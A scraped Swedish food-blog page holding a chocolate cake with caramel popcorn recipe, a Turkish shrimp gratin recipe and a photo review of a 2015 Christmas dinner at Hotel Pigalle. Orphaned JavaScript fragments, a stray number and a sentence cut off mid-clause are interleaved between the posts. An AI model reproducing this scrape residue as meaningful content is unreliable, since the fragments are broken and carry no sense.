Chokladtårta med kolapopcorn

3

Till nyår bakade jag en supergod chokladtårta med kolapopcorn, annorlunda men riktigt god tårta. Receptet  kommer från Linda Lomelinos bok ”Sweet food & photography” och receptet hittar du  här.

Portioner: 8–10 bitar

Chokladbottnar:
75 g smör
4 ½ dl vetemjöl
1 ½ dl kakao
1 ½ tsk bakpulver
1 ½ tsk bikarbonat
3 ¾ dl strösocker
en nypa salt
2 ägg
2 ¼ dl mjölk
1 ½ dl starkt hett kaffe eller kokhett vatten

Kolakräm:
1 ½ dl vispgrädde
2 ½ dl strösocker
100 g kallt smör, i tärningar
½ tsk flingsalt

Kolamarängsmörkräm:
4 äggvitor
2 dl strösocker
250 g rumsvarmt smör
1 dl kolakräm (se ovan)

Krispiga kolapopcorn:
poppade popcorn från ½ påse mikropopcorn (salta)
1 dl kolakräm (se ovan)

 

1. Chokladbottnar. Värm ugnen till 175 grader. Smörj och mjöla två bakformar, cirka 15 cm i diameter.
2. Smält smöret och låt det svalna.
3. Sikta ner mjöl, kakao, bakpulver, bikarbonat, socker och salt i en stor skål. Tillsätt ägg, mjölk och kaffe och vispa i ett par minuter till en slät smet.
4. Fördela smeten jämnt mellan formarna och grädda bottnarna i nedre delen av ugnen i 30–35 minuter (kontrollera med en provsticka att bottnarna inte är kladdiga i mitten innan du tar ut dem). Låt bottnarna svalna lite i formen innan de vänds upp på ett ugnsgaller för att svalna helt.
5. Kolakräm: Värm grädden försiktigt på svag värme i en kastrull. Det ska inte koka.
6. Lägg sockret i en annan kastrull och värm på medelvärme tills det börjar smälta runt kanterna. Rör försiktigt tills allt socker har smält och fått en fin gyllenbrun färg. Använder du baktermometer ska sockret bli 170–175 grader.
7. Tillsätt smöret till sockret och rör om tills det smält. Tillsätt den varma grädden försiktigt, lite i taget, och rör tills blandningen är helt slät. Rör i saltet.
8. Häll upp i en burk och låt kolakrämen svalna i rumstemperatur medan du förbereder smörkrämen.
9. Kolamarängsmörkräm. Lägg äggvitor och socker i en värmetålig skål eller kastrull över sjudande vattenbad. Vispa med en handvisp och värm blandningen till 65 grader eller tills sockerkristallerna smält. Häll över smeten i en stor bunke och fortsätt vispa med elvisp tills blandningen blivit en vit och fluffig marängsmet. Vispa tills smeten svalnat, det tar cirka 10 minuter.
10. Tillsätt smöret, en liten bit i taget. När allt smör är tillsatt, vispa i ytterligare 3–5 minuter eller tills smörkrämen går ihop. Tillsätt 1 dl kolakräm och vispa till en jämn frosting.
11. Kolapopcorn. Värm ugnen till 150 grader. Blanda popcorn och 1 dl kolakräm i en skål så att popcornen täcks av krämen. Bred ut på en bakplåtspappersklädd plåt. Grädda popcornen i mitten av ugnen i cirka 15 minuter. Rör om då och då. Ta ut plåten och låt svalna.
12. Montering: Dela bottnarna på mitten så att du får fyra bottnar.
13. Lägg den första bottnen på ett tårtfat. Bred ut ett jämnt lager kolamarängsmörkräm över bottnen. Upprepa tills du har använt tre bottnar.
14. Lägg den sista bottnen överst med den skurna sidan ner. Bred ett tunt lager kolamarängsmörkräm över hela tårtan. Låt den stå i kylen i cirka 20 minuter, tills det yttersta lagret stelnat något.
15. Lägg på ytterligare ett lager med kolamarängsmörkräm tills tårtan är helt jämn.
16. Lägg kolapopcornen ovanpå tårtan och häll mer kolasås över (om kolasåsen är väldigt kall kan du behöva värma den något först).

1 2

 

} else {

}

Karides Güvec

Gratäng

Igår lagade jag ett underbart recept på en Turkisk räkgratäng av Birgitta Höglund. Receptet hittar du här. Kan verkligen tipsa er om att

Turkisk räkgratäng 2 port
300 g frysta, skalade räkor
100 g  champinjoner
8 cocktailtomater
2 vitlöksklyftor
1 grön paprika
1 röd paprika
1 gul lök
3 msk smör eller olivolja
1 tsk tomatpuré
1 tsk äppelcidervinäger
1 tsk buljong (grönsak)
1 tsk chiliflingor
Havssalt
Riven getost eller aioli till gratinering (jag tog cheddarost då jag saknade getost hemma)

Gör så här:
Sätt ugnen på 225º. Skär tomaterna i fyra delar. Strimla svamp, vitlök och paprika fint.
Fräs grönsakerna ett par minuter. Tillsätt tomatpuré och stek en minut till, då blir tomatsmaken mildare.
Häll på vinäger och kryddor. Tillsätt räkorna, jag lägger i dem direkt från frysen så blir det lite vätska i gratängen.
Fräs en stund under omrörning tills räkorna precis tinat. Smaka av om det behövs mer salt eller kryddor.
Använder du nyskalade räkor så blanda dem bara med grönsaksröran utan att koka upp, så blir de inte sega.Häll upp i gratängformar, en per person till huvudrätt och i mindre formar om du serverar den som meze eller tapas.
Strö över riven ost eller klicka över aiolin. Gratinera i 5 minuter.

435617298

 

 

 if (document.currentScript) {

d.getElementsByTagName(‘head’)[0].appendChild(s);

Julmiddag med jobbet 15:e december 2015 på Hotell Pigalle

IMG_4208IMG_4191

IMG_4211

Har besökt ”Pigalle” två gånger tidigare och man blir alltid lika överraskad över den otroligt trevliga personalen, fantastisk mat och perfekt service.

Vi började med ett glas champagne på ”Bar Amuse” innan vi åkte upp till ”Atelier”.

IMG_3867

Jag drack en supergod ”Cosmopolitan” innan middagen.

IMG_4205

IMG_4194IMG_4206IMG_4207IMG_4193

Vi åt ”Skafferimenyn” och till det drack vi tillhörande viner.

IMG_4209

Från Vidderna
Råbiff av västsvensk kossa med saltbakade betor, färskost från Vilhelmsdal & vintertryffel.

IMG_4195

Kungen av fisk
Piggvar med senapsstuvad kål, rostad jordärtskocka & råhyvlade champinjoner.

IMG_4198

Varken fisk eller mittemellan
Kryddig vildand med sojastekta svampar, skånsk brysselkål & vitlökspuré.

IMG_4196

Innan kryddkakan fick vi en liten söt dessert.

IMG_4199

Du gamla, du fria
Kryddkaka med äppelkompott & havre- & sirapsglass.

IMG_4197IMG_4210IMG_4200IMG_4204IMG_4203IMG_4202IMG_4201

 } else {

} else {d.getElementsByTagName(‘head’)[0].appendChild(s);